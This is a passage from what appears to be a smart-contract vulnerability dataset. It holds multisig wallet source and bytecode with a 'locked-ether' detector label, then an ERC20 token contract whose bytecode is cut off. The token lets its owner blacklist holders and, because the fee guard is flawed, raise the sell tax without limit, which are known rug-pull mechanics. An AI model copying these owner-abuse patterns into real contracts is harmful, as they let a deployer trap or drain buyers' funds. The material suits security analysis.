for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610939565b34801561029a57600080fd5b506102436004356109bd565b3480156102b257600080fd5b506102be600435610a2c565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610aea565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b4d565b3480156103f757600080fd5b50610376600435610c86565b34801561040f57600080fd5b50610243610dff565b34801561042457600080fd5b5061015c600435610e05565b34801561043c57600080fd5b5061015c600435610e84565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f4f9650505050505050565b3480156104bd57600080fd5b50610243610f6e565b3480156104d257600080fd5b50610243610f73565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f79565b34801561050e57600080fd5b5061015c600435611103565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b60038054600019019061066790826113d6565b5060035460045411156106805760035461068090610e05565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b6003805490506001016004546032821115801561087b5750818111155b801561088657508015155b801561089157508115155b151561089c57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109b6576000848152600160205260408120600380549192918490811061096757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561099b576001820191505b6004548214156109ae57600192506109b6565b60010161093e565b5050919050565b6000805b600354811015610a2657600083815260016020526040812060038054919291849081106109ea57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a1e576001820191505b6001016109c1565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b4257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b24575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b7f578160200160208202803883390190505b50925060009150600090505b600554811015610c0657858015610bb4575060008181526020819052604090206003015460ff16155b80610bd85750848015610bd8575060008181526020819052604090206003015460ff165b15610bfe57808383815181101515610bec57fe5b60209081029091010152600191909101905b600101610b8b565b878703604051908082528060200260200182016040528015610c32578160200160208202803883390190505b5093508790505b86811015610c7b578281815181101515610c4f57fe5b9060200190602002015184898303815181101515610c6957fe5b60209081029091010152600101610c39565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cbb578160200160208202803883390190505b50925060009150600090505b600354811015610d785760008581526001602052604081206003805491929184908110610cf057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d70576003805482908110610d2b57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d5157fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cc7565b81604051908082528060200260200182016040528015610da2578160200160208202803883390190505b509350600090505b81811015610df7578281815181101515610dc057fe5b906020019060200201518482815181101515610dd857fe5b600160a060020a03909216602092830290910190910152600101610daa565b505050919050565b60055481565b333014610e1157600080fd5b6003548160328211801590610e265750818111155b8015610e3157508015155b8015610e3c57508115155b1515610e4757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610ea257600080fd5b6000828152602081905260409020548290600160a060020a03161515610ec757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ef257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f4885611103565b5050505050565b6000610f5c8484846112c3565b9050610f6781610e84565b9392505050565b603281565b60045481565b6000333014610f8757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fb057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fd857600080fd5b600092505b6003548310156110695784600160a060020a031660038481548110151561100057fe5b600091825260209091200154600160a060020a0316141561105e578360038481548110151561102b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611069565b600190920191610fdd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b3360008181526002602052604081205490919060ff16151561112457600080fd5b60008381526001602090815260408083203380855292529091205484919060ff16151561115057600080fd5b600085815260208190526040902060030154859060ff161561117157600080fd5b61117a86610939565b156112bb576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a5061124e95600160a060020a03909216949093919083908301828280156112445780601f1061121957610100808354040283529160200191611244565b820191906000526020600020905b81548152906001019060200180831161122757829003601f168201915b50505050506113b3565b156112835760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112bb565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112db57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261135b9260028501929101906113ff565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b8154818355818111156113fa576000838152602090206113fa91810190830161147d565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061144057805160ff191683800117855561146d565b8280016001018555821561146d579182015b8281111561146d578251825591602001919060010190611452565b5061147992915061147d565b5090565b610b4a91905b8082111561147957600081556001016114835600a165627a7a72305820045caf9fccfa73d52e7e53e1ef549c59711eab85d515fa601f87b9efa3f284800029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,992 |
0x6cf285bc5cc69800d07bb5af0f0dbed71a2c67da
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AGRAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "agrama";
string private constant _symbol = "AGM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 150000000 * 10**9;
uint256 public _maxWalletSize = 150000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610570578063dd62ed3e14610590578063ea1644d5146105d6578063f2fde38b146105f657600080fd5b8063a2a957bb146104eb578063a9059cbb1461050b578063bfd792841461052b578063c3c8cd801461055b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104695780638f9a55c01461048957806395d89b411461049f57806398a5c315146104cb57600080fd5b80637d1db4a5146103f35780637f2feddc146104095780638203f5fe146104365780638da5cb5b1461044b57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038957806370a082311461039e578063715018a6146103be57806374010ece146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101b65780631694505e1461027a57806318160ddd146102b257806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024a57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b2d565b610616565b005b34801561021557600080fd5b50604080518082019091526006815265616772616d6160d01b60208201525b6040516102419190611bf2565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611c47565b6106b5565b6040519015158152602001610241565b34801561028657600080fd5b5060135461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50678ac7230489e800005b604051908152602001610241565b3480156102e357600080fd5b5061026a6102f2366004611c73565b6106cc565b34801561030357600080fd5b506102c960175481565b34801561031957600080fd5b5060405160098152602001610241565b34801561033557600080fd5b5060145461029a906001600160a01b031681565b34801561035557600080fd5b50610207610364366004611cb4565b610735565b34801561037557600080fd5b50610207610384366004611ce1565b610780565b34801561039557600080fd5b506102076107c8565b3480156103aa57600080fd5b506102c96103b9366004611cb4565b6107f5565b3480156103ca57600080fd5b50610207610817565b3480156103df57600080fd5b506102076103ee366004611cfc565b61088b565b3480156103ff57600080fd5b506102c960155481565b34801561041557600080fd5b506102c9610424366004611cb4565b60116020526000908152604090205481565b34801561044257600080fd5b506102076108cd565b34801561045757600080fd5b506000546001600160a01b031661029a565b34801561047557600080fd5b50610207610484366004611ce1565b610a85565b34801561049557600080fd5b506102c960165481565b3480156104ab57600080fd5b5060408051808201909152600381526241474d60e81b6020820152610234565b3480156104d757600080fd5b506102076104e6366004611cfc565b610ae4565b3480156104f757600080fd5b50610207610506366004611d15565b610b13565b34801561051757600080fd5b5061026a610526366004611c47565b610b6d565b34801561053757600080fd5b5061026a610546366004611cb4565b60106020526000908152604090205460ff1681565b34801561056757600080fd5b50610207610b7a565b34801561057c57600080fd5b5061020761058b366004611d47565b610bb0565b34801561059c57600080fd5b506102c96105ab366004611dcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e257600080fd5b506102076105f1366004611cfc565b610c51565b34801561060257600080fd5b50610207610611366004611cb4565b610c80565b6000546001600160a01b031633146106495760405162461bcd60e51b815260040161064090611e04565b60405180910390fd5b60005b81518110156106b15760016010600084848151811061066d5761066d611e39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a981611e65565b91505061064c565b5050565b60006106c2338484610d6a565b5060015b92915050565b60006106d9848484610e8e565b61072b843361072685604051806060016040528060288152602001611f7f602891396001600160a01b038a1660009081526004602090815260408083203384529